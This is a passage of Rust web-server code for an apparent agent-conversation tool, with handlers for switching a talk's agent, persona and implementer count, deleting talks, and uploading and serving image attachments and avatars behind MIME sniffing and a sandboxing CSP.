9049/// start a turn on the old session between the check and the write; one that
9050/// arrives in that window finds the talk busy and becomes a draft.
9051async fn talk_agent(
9052    State(ui): State<Arc<Ui>>,
9053    Path(id): Path<String>,
9054    Json(body): Json<TalkAgent>,
9055) -> ApiResult<Json<TalkView>> {
9056    let admission = ui.begin_admission()?;
9057    admitted(admission, async move {
9058        let id = {
9059            let ui = Arc::clone(&ui);
9060            blocking(move || resolve_talk(&ui.talks, &id)).await?
9061        };
9062        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9063            .await
9064            .map_err(ApiError::from)?;
9065        let repo = {
9066            let ui = Arc::clone(&ui);
9067            let id = id.clone();
9068            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9069        };
9070        let cfg = config_for(&repo).await?;
9071        // Refuse before taking the claim; see `talk_implementers`.
9072        {
9073            let ui = Arc::clone(&ui);
9074            let id = id.clone();
9075            let cfg = cfg.clone();
9076            let wanted = body.agent.clone();
9077            blocking(move || {
9078                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
9079                    .map_err(ApiError::bad_request_from)?;
9080                refuse_if_closed(&ui.talks.get(&id)?)
9081            })
9082            .await?;
9083        }
9084        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9085            return Err(ApiError::conflict(
9086                "a talk turn is running; change the agent once it has answered",
9087            ));
9088        };
9089        let switched = {
9090            let ui = Arc::clone(&ui);
9091            let id = id.clone();
9092            let cfg = cfg.clone();
9093            blocking(move || {
9094                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
9095                    .map_err(ApiError::bad_request_from)?;
9096                let mut talk = ui.talks.get(&id)?;
9097                if !talk.status.open() {
9098                    return Err(ApiError::conflict(format!(
9099                        "talk {} is {} and takes no more turns",
9100                        talk.short(),
9101                        talk.status.as_str()
9102                    )));
9103                }
9104                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
9105                Ok(talk)
9106            })
9107            .await
9108        };
9109        // A `/say` that landed while this held the claim saw the talk busy and
9110        // left a durable draft, trusting the claim's owner to drain it. So the
9111        // claim is settled whatever the outcome. Release an empty draft's claim
9112        // before replying; queued drafts continue independently of the handler.
9113        let observed = ui.queued_generation(&id);
9114        let fresh = {
9115            let ui = Arc::clone(&ui);
9116            let id = id.clone();
9117            blocking(move || Ok(ui.talks.get(&id)?)).await
9118        };
9119        let draining = match fresh {
9120            Ok(talk) => {
9121                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9122            }
9123            Err(_) => false,
9124        };
9125        let talk = switched?;
9126        Ok(Json(TalkView::new(talk, draining, &ui)))
9127    })
9128    .await
9129}
9130
9131/// The body of `POST /api/talks/{id}/persona`.
9132#[derive(Debug, Deserialize)]
9133struct TalkPersona {
9134    persona: String,
9135}
9136
9137/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
9138/// like [`talk_agent`]: the turn guard is held for the change and always handed
9139/// to `drain_loop`, so a draft left meanwhile is not stranded.
9140async fn talk_persona(
9141    State(ui): State<Arc<Ui>>,
9142    Path(id): Path<String>,
9143    Json(body): Json<TalkPersona>,
9144) -> ApiResult<Json<TalkView>> {
9145    let admission = ui.begin_admission()?;
9146    admitted(admission, async move {
9147        let id = {
9148            let ui = Arc::clone(&ui);
9149            blocking(move || resolve_talk(&ui.talks, &id)).await?
9150        };
9151        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9152            .await
9153            .map_err(ApiError::from)?;
9154        let repo = {
9155            let ui = Arc::clone(&ui);
9156            let id = id.clone();
9157            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9158        };
9159        let cfg = config_for(&repo).await?;
9160        // Refuse before taking the claim; see `talk_implementers`.
9161        {
9162            let ui = Arc::clone(&ui);
9163            let id = id.clone();
9164            let cfg = cfg.clone();
9165            let wanted = body.persona.clone();
9166            blocking(move || {
9167                if persona::find(&cfg.talk.personas, &wanted).is_none() {
9168                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
9169                }
9170                refuse_if_closed(&ui.talks.get(&id)?)
9171            })
9172            .await?;
9173        }
9174        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9175            return Err(ApiError::conflict(
9176                "a talk turn is running; change the persona once it has answered",
9177            ));
9178        };
9179        let switched = {
9180            let ui = Arc::clone(&ui);
9181            let id = id.clone();
9182            let cfg = cfg.clone();
9183            blocking(move || {
9184                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
9185                    return Err(ApiError::bad_request(format!(
9186                        "unknown persona `{}`",
9187                        body.persona
9188                    )));
9189                };
9190                let mut talk = ui.talks.get(&id)?;
9191                if !talk.status.open() {
9192                    return Err(ApiError::conflict(format!(
9193                        "talk {} is {} and takes no more turns",
9194                        talk.short(),
9195                        talk.status.as_str()
9196                    )));
9197                }
9198                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
9199                Ok(talk)
9200            })
9201            .await
9202        };
9203        // As in `talk_agent`: settle the claim before replying, even on refusal.
9204        let observed = ui.queued_generation(&id);
9205        let fresh = {
9206            let ui = Arc::clone(&ui);
9207            let id = id.clone();
9208            blocking(move || Ok(ui.talks.get(&id)?)).await
9209        };
9210        let draining = match fresh {
9211            Ok(talk) => {
9212                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9213            }
9214            Err(_) => false,
9215        };
9216        let talk = switched?;
9217        Ok(Json(TalkView::new(talk, draining, &ui)))
9218    })
9219    .await
9220}
9221
9222/// The body of `POST /api/talks/{id}/implementers`.
9223#[derive(Debug, Deserialize)]
9224struct TalkImplementers {
9225    implementers: u8,
9226}
9227
9228/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
9229/// like [`talk_agent`]: the turn guard is held for the change and always handed
9230/// to `drain_loop`, so a draft left meanwhile is not stranded.
9231async fn talk_implementers(
9232    State(ui): State<Arc<Ui>>,
9233    Path(id): Path<String>,
9234    Json(body): Json<TalkImplementers>,
9235) -> ApiResult<Json<TalkView>> {
9236    let admission = ui.begin_admission()?;
9237    admitted(admission, async move {
9238        let id = {
9239            let ui = Arc::clone(&ui);
9240            blocking(move || resolve_talk(&ui.talks, &id)).await?
9241        };
9242        let _publication = crate::consult::publication_guard(&ui.talks, &id)
9243            .await
9244            .map_err(ApiError::from)?;
9245        let repo = {
9246            let ui = Arc::clone(&ui);
9247            let id = id.clone();
9248            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
9249        };
9250        let cfg = config_for(&repo).await?;
9251        // Refuse a request that cannot succeed before taking the claim: a claim
9252        // taken for it is handed to `drain_loop`, which holds the talk busy for a
9253        // moment, so a refusal would make the next request see "busy" instead of
9254        // its own answer. The checks after the claim stay the ones that decide.
9255        {
9256            let ui = Arc::clone(&ui);
9257            let id = id.clone();
9258            let cfg = cfg.clone();
9259            let wanted = body.implementers;
9260            blocking(move || {
9261                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
9262                refuse_if_closed(&ui.talks.get(&id)?)
9263            })
9264            .await?;
9265        }
9266        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
9267            return Err(ApiError::conflict(
9268                "a talk turn is running; change the implementers once it has answered",
9269            ));
9270        };
9271        let switched = {
9272            let ui = Arc::clone(&ui);
9273            let id = id.clone();
9274            let cfg = cfg.clone();
9275            blocking(move || {
9276                let chosen = talk::check_implementers(body.implementers, &cfg)
9277                    .map_err(ApiError::bad_request)?;
9278                let mut talk = ui.talks.get(&id)?;
9279                if !talk.status.open() {
9280                    return Err(ApiError::conflict(format!(
9281                        "talk {} is {} and takes no more turns",
9282                        talk.short(),
9283                        talk.status.as_str()
9284                    )));
9285                }
9286                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
9287                Ok(talk)
9288            })
9289            .await
9290        };
9291        // As in `talk_agent`: settle the claim before replying, even on refusal.
9292        let observed = ui.queued_generation(&id);
9293        let fresh = {
9294            let ui = Arc::clone(&ui);
9295            let id = id.clone();
9296            blocking(move || Ok(ui.talks.get(&id)?)).await
9297        };
9298        let draining = match fresh {
9299            Ok(talk) => {
9300                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
9301            }
9302            Err(_) => false,
9303        };
9304        let talk = switched?;
9305        Ok(Json(TalkView::new(talk, draining, &ui)))
9306    })
9307    .await
9308}
9309
9310/// `POST /api/talks/{id}/close`.
9311async fn talk_close(
9312    State(ui): State<Arc<Ui>>,
9313    Path(id): Path<String>,
9314) -> ApiResult<Json<TalkView>> {
9315    blocking(move || {
9316        let id = resolve_talk(&ui.talks, &id)?;
9317        let mut talk = ui.talks.get(&id)?;
9318        talk::close(&mut talk, &ui.talks)?;
9319        let thinking = ui.is_thinking(&talk.id);
9320        Ok(Json(TalkView::new(talk, thinking, &ui)))
9321    })
9322    .await
9323}
9324
9325/// `POST /api/talks/{id}/reopen`.
9326async fn talk_reopen(
9327    State(ui): State<Arc<Ui>>,
9328    Path(id): Path<String>,
9329) -> ApiResult<Json<TalkView>> {
9330    blocking(move || {
9331        let id = resolve_talk(&ui.talks, &id)?;
9332        let mut talk = ui.talks.get(&id)?;
9333        talk::reopen(&mut talk, &ui.talks)?;
9334        let thinking = ui.is_thinking(&talk.id);
9335        Ok(Json(TalkView::new(talk, thinking, &ui)))
9336    })
9337    .await
9338}
9339
9340/// `DELETE /api/talks/{id}`.
9341///
9342/// Removes the conversation's record and artifacts outright, unlike
9343/// [`talk_close`] which keeps the record as history. A turn already in
9344/// flight is not refused here the way [`run_delete`] refuses a live run:
9345/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
9346/// under [`Talks::guard`], that the record they are about to write back is
9347/// still there, so a delete racing a turn is safe without this route having
9348/// to know a turn is running at all.
9349async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
9350    blocking(move || {
9351        let id = resolve_talk(&ui.talks, &id)?;
9352        ui.talks.remove(&id)?;
9353        Ok(StatusCode::NO_CONTENT)
9354    })
9355    .await
9356}
9357
9358fn talk_ids(root: &FsPath) -> Vec<String> {
9359    std::fs::read_dir(root)
9360        .into_iter()
9361        .flatten()
9362        .flatten()
9363        .filter_map(|e| {
9364            let path = e.path();
9365            if path.extension().is_some_and(|ext| ext == "json") {
9366                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
9367            } else {
9368                None
9369            }
9370        })
9371        .collect()
9372}
9373
9374/// Expand an id or short id to exactly one talk id.
9375fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
9376    if plain_record_id(id) && store.path_of(id).is_file() {
9377        return Ok(id.to_owned());
9378    }
9379    pick(talk_ids(store.root()), id, "talk")
9380}
9381
9382/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
9383/// future `talk-say`.
9384async fn talk_attachment_post(
9385    State(ui): State<Arc<Ui>>,
9386    Path(id): Path<String>,
9387    headers: HeaderMap,
9388    body: Bytes,
9389) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
9390    let mime = validate_attachment(&headers, &body)?;
9391    let name = filename_header(&headers);
9392    let data = body.to_vec();
9393    blocking(move || {
9394        let id = resolve_talk(&ui.talks, &id)?;
9395        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
9396        Ok((StatusCode::CREATED, Json(att)))
9397    })
9398    .await
9399}
9400
9401/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
9402/// `<img>` tag in the transcript.
9403async fn talk_attachment_get(
9404    State(ui): State<Arc<Ui>>,
9405    Path((id, att)): Path<(String, String)>,
9406) -> ApiResult<Response> {
9407    blocking(move || {
9408        let id = resolve_talk(&ui.talks, &id)?;
9409        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
9410            return Err(ApiError::not_found(format!(
9411                "talk {id} has no attachment `{att}`"
9412            )));
9413        };
9414        Ok(attachment_response(&meta.mime, data))
9415    })
9416    .await
9417}
9418
9419/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
9420/// the icon setting, so changing it changes the URL.
9421fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
9422    let id = avatar_encode(&p.id);
9423    format!(
9424        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
9425        persona_icon::fingerprint(
9426            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
9427        )
9428    )
9429}
9430
9431#[derive(Debug, Default, Deserialize)]
9432struct AvatarQuery {
9433    persona: Option<String>,
9434    /// Set by the page after the first load failed: skip the `icon`.
9435    builtin: Option<String>,
9436}
9437
9438/// Served with every built-in avatar: it is an image, so nothing else may run.
9439const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
9440
9441fn builtin_avatar(id: &str) -> Response {
9442    svg_avatar(persona_icon::builtin_svg(id))
9443}
9444
9445async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
9446    raster_or_builtin(
9447        read_icon_file(&avatar_setting_path(&ui.home, None))
9448            .filter(|_| q.builtin.is_none())
9449            .as_deref(),
9450        persona_icon::operator_svg(),
9451    )
9452}
9453
9454fn svg_avatar(svg: &'static str) -> Response {
9455    (
9456        [
9457            (header::CONTENT_TYPE, "image/svg+xml"),
9458            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
9459            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
9460            (header::CACHE_CONTROL, "no-cache"),
9461        ],
9462        svg,
9463    )
9464        .into_response()
9465}
9466
9467fn avatar_encode(value: &str) -> String {
9468    value
9469        .bytes()
9470        .map(|b| {
9471            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
9472                char::from(b).to_string()
9473            } else {
9474                format!("%{b:02X}")
9475            }
9476        })
9477        .collect()
9478}
9479
9480// Display-only overrides live outside configuration and conversation records.
9481fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
9482    let Some(id) = persona else {
9483        return home.join("avatars/operator.data");
9484    };
9485    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
9486    let mut path = home.join("avatars/personas");
9487    for chunk in encoded.as_bytes().chunks(100) {
9488        path.push(std::str::from_utf8(chunk).expect("hex"));
9489    }
9490    path.join("icon.data")
9491}
9492
9493fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
9494    match read_icon_file(&avatar_setting_path(home, Some(id))) {
9495        Some(value) if value == "builtin" => Some(String::new()),
9496        Some(value) => Some(value),
9497        None => configured.map(str::to_owned),
9498    }
9499}
9500
9501fn operator_icon_url(home: &FsPath) -> String {
9502    format!(
9503        "/avatars/operator.svg?v={}",
9504        persona_icon::fingerprint(
9505            read_icon_file(&avatar_setting_path(home, None))
9506                .as_deref()
9507                .or(Some(persona_icon::operator_svg()))
9508        )
9509    )
9510}
9511
9512fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
9513    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
9514        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9515            attachment_response(mime, bytes)
9516        }
9517        _ => svg_avatar(builtin),
9518    };
9519    response
9520        .headers_mut()
9521        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9522    response
9523}
9524
9525#[derive(Default, Deserialize)]
9526struct AvatarSettingsQuery {
9527    repo: Option<PathBuf>,
9528    persona: Option<String>,
9529    builtin: Option<String>,
9530    inherit: Option<String>,
9531}
9532
9533fn avatar_settings_specs(
9534    ui: &Ui,
9535    repo: Option<PathBuf>,
9536) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
9537    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
9538    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
9539        .map(|cfg| cfg.talk.personas)
9540        .unwrap_or_default();
9541    Ok((repo, specs))
9542}
9543
9544fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
9545    let Ok(entries) = std::fs::read_dir(path) else {
9546        return;
9547    };
9548    for entry in entries.flatten() {
9549        let name = entry.file_name().to_string_lossy().into_owned();
9550        if name == "icon.data" {
9551            let bytes: Option<Vec<u8>> = prefix
9552                .as_bytes()
9553                .chunks(2)
9554                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
9555                .collect();
9556            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
9557                out.push(id);
9558            }
9559        } else if name.len() <= 100
9560            && !name.is_empty()
9561            && name.bytes().all(|b| b.is_ascii_hexdigit())
9562            && entry.file_type().is_ok_and(|t| t.is_dir())
9563        {
9564            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
9565        }
9566    }
9567}
9568
9569async fn avatar_settings_get(
9570    State(ui): State<Arc<Ui>>,
9571    Query(q): Query<AvatarSettingsQuery>,
9572) -> ApiResult<Json<serde_json::Value>> {
9573    blocking(move || {
9574        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
9575        let mut catalog = persona::catalog(&specs);
9576        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
9577        let mut saved = Vec::new();
9578        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
9579        for id in saved {
9580            if !catalog.iter().any(|p| p.id == id) {
9581                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
9582            }
9583        }
9584        let personas: Vec<_> = catalog.iter().map(|p| {
9585            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
9586            let override_state = match saved.as_deref() {
9587                Some("builtin") => "builtin",
9588                Some(_) => "custom",
9589                None => "inherit",
9590            };
9591            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
9592            serde_json::json!({"id":p.id,"name":p.name,
9593                "override_state":override_state,"has_config_icon":p.icon.is_some(),
9594                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
9595                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
9596        }).collect();
9597        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
9598    }).await
9599}
9600
9601async fn settings_persona_avatar(
9602    State(ui): State<Arc<Ui>>,
9603    Query(q): Query<AvatarSettingsQuery>,
9604) -> ApiResult<Response> {
9605    blocking(move || {
9606        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
9607        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
9608        let found = persona::find(&specs, id);
9609        let icon =
9610            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
9611        Ok(raster_or_builtin(
9612            icon.as_deref().filter(|_| q.builtin.is_none()),
9613            persona_icon::builtin_svg(id),
9614        ))
9615    })
9616    .await
9617}
9618
9619fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
9620    if q.persona
9621        .as_ref()
9622        .is_some_and(|p| p.is_empty() || p.len() > 4096)
9623    {
9624        return Err(ApiError::bad_request("invalid persona id"));
9625    }
9626    Ok(())
9627}
9628
9629async fn avatar_settings_put(
9630    State(ui): State<Arc<Ui>>,
9631    Query(q): Query<AvatarSettingsQuery>,
9632    Json(upload): Json<MagiIconUpload>,
9633) -> ApiResult<Json<serde_json::Value>> {
9634    blocking(move || {
9635        validate_avatar_target(&q)?;
9636        save_icon_file(
9637            &avatar_setting_path(&ui.home, q.persona.as_deref()),
9638            &upload.icon,
9639        )
9640        .map_err(ApiError::bad_request_from)?;
9641        Ok(Json(serde_json::json!({"saved":true})))
9642    })
9643    .await
9644}
9645
9646async fn avatar_settings_delete(
9647    State(ui): State<Arc<Ui>>,
9648    Query(q): Query<AvatarSettingsQuery>,
9649) -> ApiResult<Json<serde_json::Value>> {
9650    blocking(move || {
9651        validate_avatar_target(&q)?;
9652        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
9653        if q.persona.is_some() && q.inherit.is_none() {
9654            atomic_icon_write(&path, "builtin")?;
9655        } else {
9656            match std::fs::remove_file(path) {
9657                Ok(()) => (),
9658                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
9659                Err(e) => return Err(anyhow::Error::from(e).into()),
9660            }
9661        }
9662        Ok(Json(serde_json::json!({"saved":true})))
9663    })
9664    .await
9665}
9666
9667// The global MAGI icon is deliberately independent of repository configuration.
9668fn magi_icon_path(home: &FsPath) -> PathBuf {
9669    home.join("magi-icon.data")
9670}
9671
9672fn read_magi_icon(home: &FsPath) -> Option<String> {
9673    read_icon_file(&magi_icon_path(home))
9674}
9675
9676fn read_icon_file(path: &FsPath) -> Option<String> {
9677    let metadata = std::fs::metadata(path).ok()?;
9678    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
9679        return None;
9680    }
9681    let file = std::fs::File::open(path).ok()?;
9682    use std::io::Read;
9683    let mut text = String::new();
9684    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
9685        .read_to_string(&mut text)
9686        .ok()?;
9687    if text.len() > persona_icon::ICON_MAX_BYTES {
9688        return None;
9689    }
9690    if text == "builtin" {
9691        return Some(text);
9692    }
9693    validate_uploaded_icon(&text).ok()?;
9694    Some(text)
9695}
9696
9697fn magi_icon_url(home: &FsPath) -> String {
9698    format!(
9699        "/avatars/magi?v={}",
9700        persona_icon::fingerprint(read_magi_icon(home).as_deref())
9701    )
9702}
9703
9704async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
9705    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
9706}
9707
9708#[derive(Deserialize)]
9709struct MagiIconUpload {
9710    icon: String,
9711}
9712
9713fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
9714    save_icon_file(&magi_icon_path(home), icon)
9715}
9716
9717fn validate_uploaded_icon(icon: &str) -> Result<()> {
9718    if !icon.starts_with("data:") {
9719        anyhow::bail!("upload a raster image");
9720    }
9721    let (mime, bytes) = persona_icon::load(icon)?;
9722    if sniffed_mime(&bytes) != Some(mime) {
9723        anyhow::bail!("image content does not match its type");
9724    }
9725    Ok(())
9726}
9727
9728fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
9729    validate_uploaded_icon(icon)?;
9730    atomic_icon_write(path, icon)
9731}
9732
9733fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
9734    let home = path.parent().expect("icon parent");
9735    std::fs::create_dir_all(home)?;
9736    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
9737    let temp = home.join(format!(".magi-icon-{token}.tmp"));
9738    let result = (|| -> Result<()> {
9739        use std::io::Write;
9740        let mut file = std::fs::OpenOptions::new()
9741            .write(true)
9742            .create_new(true)
9743            .open(&temp)?;
9744        file.write_all(icon.as_bytes())?;
9745        file.sync_all()?;
9746        std::fs::rename(&temp, path)?;
9747        Ok(())
9748    })();
9749    let _ = std::fs::remove_file(temp);
9750    result?;
9751    Ok(())
9752}
9753
9754async fn magi_icon_put(
9755    State(ui): State<Arc<Ui>>,
9756    Json(upload): Json<MagiIconUpload>,
9757) -> ApiResult<Json<serde_json::Value>> {
9758    blocking(move || {
9759        if !upload.icon.starts_with("data:") {
9760            return Err(ApiError::bad_request("upload a raster image"));
9761        }
9762        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
9763        if sniffed_mime(&bytes) != Some(mime) {
9764            return Err(ApiError::bad_request(
9765                "image content does not match its type",
9766            ));
9767        }
9768        save_magi_icon(&ui.home, &upload.icon)?;
9769        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
9770    })
9771    .await
9772}
9773
9774async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
9775    blocking(move || {
9776        match std::fs::remove_file(magi_icon_path(&ui.home)) {
9777            Ok(()) => (),
9778            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
9779            Err(e) => return Err(anyhow::Error::from(e).into()),
9780        }
9781        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
9782    })
9783    .await
9784}
9785
9786async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
9787    let icon = (q.builtin.is_none())
9788        .then(|| read_magi_icon(&ui.home))
9789        .flatten();
9790    let mut response = match icon
9791        .as_deref()
9792        .and_then(|icon| persona_icon::load(icon).ok())
9793    {
9794        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9795            attachment_response(mime, bytes)
9796        }
9797        _ => svg_avatar(persona_icon::magi_svg()),
9798    };
9799    response
9800        .headers_mut()
9801        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
9802    response
9803}
9804
9805/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
9806/// operator's raster `icon` when it resolves and its bytes agree with its
9807/// type, the built-in SVG otherwise. Display only; every failure is a warning
9808/// and the built-in avatar, never an error response.
9809async fn talk_avatar(
9810    State(ui): State<Arc<Ui>>,
9811    Path(id): Path<String>,
9812    Query(q): Query<AvatarQuery>,
9813) -> ApiResult<Response> {
9814    blocking(move || {
9815        let id = resolve_talk(&ui.talks, &id)?;
9816        let talk = ui.talks.get(&id)?;
9817        let wanted = q
9818            .persona
9819            .as_deref()
9820            .map(str::trim)
9821            .filter(|p| !p.is_empty())
9822            .unwrap_or(&talk.persona)
9823            .to_owned();
9824        let specs = match Config::discover(&talk.repo, None) {
9825            Ok((cfg, _)) => cfg.talk.personas,
9826            Err(e) => {
9827                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
9828                Vec::new()
9829            }
9830        };
9831        let found = persona::find(&specs, &wanted);
9832        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
9833        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
9834        let icon = effective_persona_icon(
9835            &ui.home,
9836            &wanted,
9837            found.as_ref().and_then(|p| p.icon.as_deref()),
9838        );
9839        if found.is_none() && icon.is_none() {
9840            return Ok(builtin_avatar(persona::DEFAULT_ID));
9841        }
9842        let Some(icon) = icon
9843            .as_deref()
9844            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
9845        else {
9846            return Ok(builtin_avatar(&wanted));
9847        };
9848        let Some(found) = found else {
9849            return Ok(raster_or_builtin(
9850                Some(icon),
9851                persona_icon::builtin_svg(&wanted),
9852            ));
9853        };
9854        match persona_icon::load(icon) {
9855            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
9856                let mut res = attachment_response(mime, bytes);
9857                res.headers_mut().insert(
9858                    header::CACHE_CONTROL,
9859                    header::HeaderValue::from_static("no-cache"),
9860                );
9861                Ok(res)
9862            }
9863            Ok((mime, _)) => {
9864                tracing::warn!(
9865                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
9866                    found.id
9867                );
9868                Ok(builtin_avatar(&found.id))
9869            }
9870            Err(e) => {
9871                tracing::warn!(
9872                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
9873                    found.id
9874                );
9875                Ok(builtin_avatar(&found.id))
9876            }
9877        }
9878    })
9879    .await
9880}
9881
9882/// Validate an attachment upload's declared `Content-Type` and the bytes
9883/// themselves, returning the canonical mime on success.
9884///
9885/// Two checks, both required: the header has to name one of
9886/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
9887/// simply never in the list, active content rather than a picture, the same
9888/// exclusion [`asset_content_type`]'s doc explains), and the file's own
9889/// magic number has to agree. The second is what stops a mislabeled upload -
9890/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
9891/// a declared type is a claim, not a fact, so it is never trusted alone.
9892fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
9893    if data.len() > ATTACHMENT_MAX_BYTES {
9894        return Err(ApiError::bad_request(format!(
9895            "attachment is {} bytes, over the {} MiB limit",
9896            data.len(),
9897            ATTACHMENT_MAX_BYTES / (1024 * 1024)
9898        ))
9899        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
9900    }
9901    if data.is_empty() {
9902        return Err(ApiError::bad_request("attachment is empty"));
9903    }
9904    let declared = declared_mime(headers)?;
9905    match sniffed_mime(data) {
9906        Some(sniffed) if sniffed == declared => Ok(declared),
9907        Some(sniffed) => Err(ApiError::bad_request(format!(
9908            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
9909        ))),
9910        None => Err(ApiError::bad_request(
9911            "the file's bytes do not match any accepted image format",
9912        )),
9913    }
9914}
9915
9916/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
9917/// and nothing else - parameters like `; charset=` are stripped, but the
9918/// value itself is not otherwise interpreted.
9919fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
9920    let raw = headers
9921        .get(header::CONTENT_TYPE)
9922        .and_then(|v| v.to_str().ok())
9923        .unwrap_or("")
9924        .split(';')
9925        .next()
9926        .unwrap_or("")
9927        .trim()
9928        .to_ascii_lowercase();
9929    ATTACHMENT_MIME_WHITELIST
9930        .iter()
9931        .find(|&&m| m == raw)
9932        .copied()
9933        .ok_or_else(|| {
9934            if raw == "image/svg+xml" {
9935                ApiError::bad_request(
9936                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
9937                     not just a picture",
9938                )
9939            } else if raw.is_empty() {
9940                ApiError::bad_request("Content-Type is required for an attachment upload")
9941            } else {
9942                ApiError::bad_request(format!(
9943                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
9944                     image/gif or image/webp"
9945                ))
9946            }
9947        })
9948}
9949
9950/// Identify an image by its magic number, independent of whatever
9951/// `Content-Type` claimed.
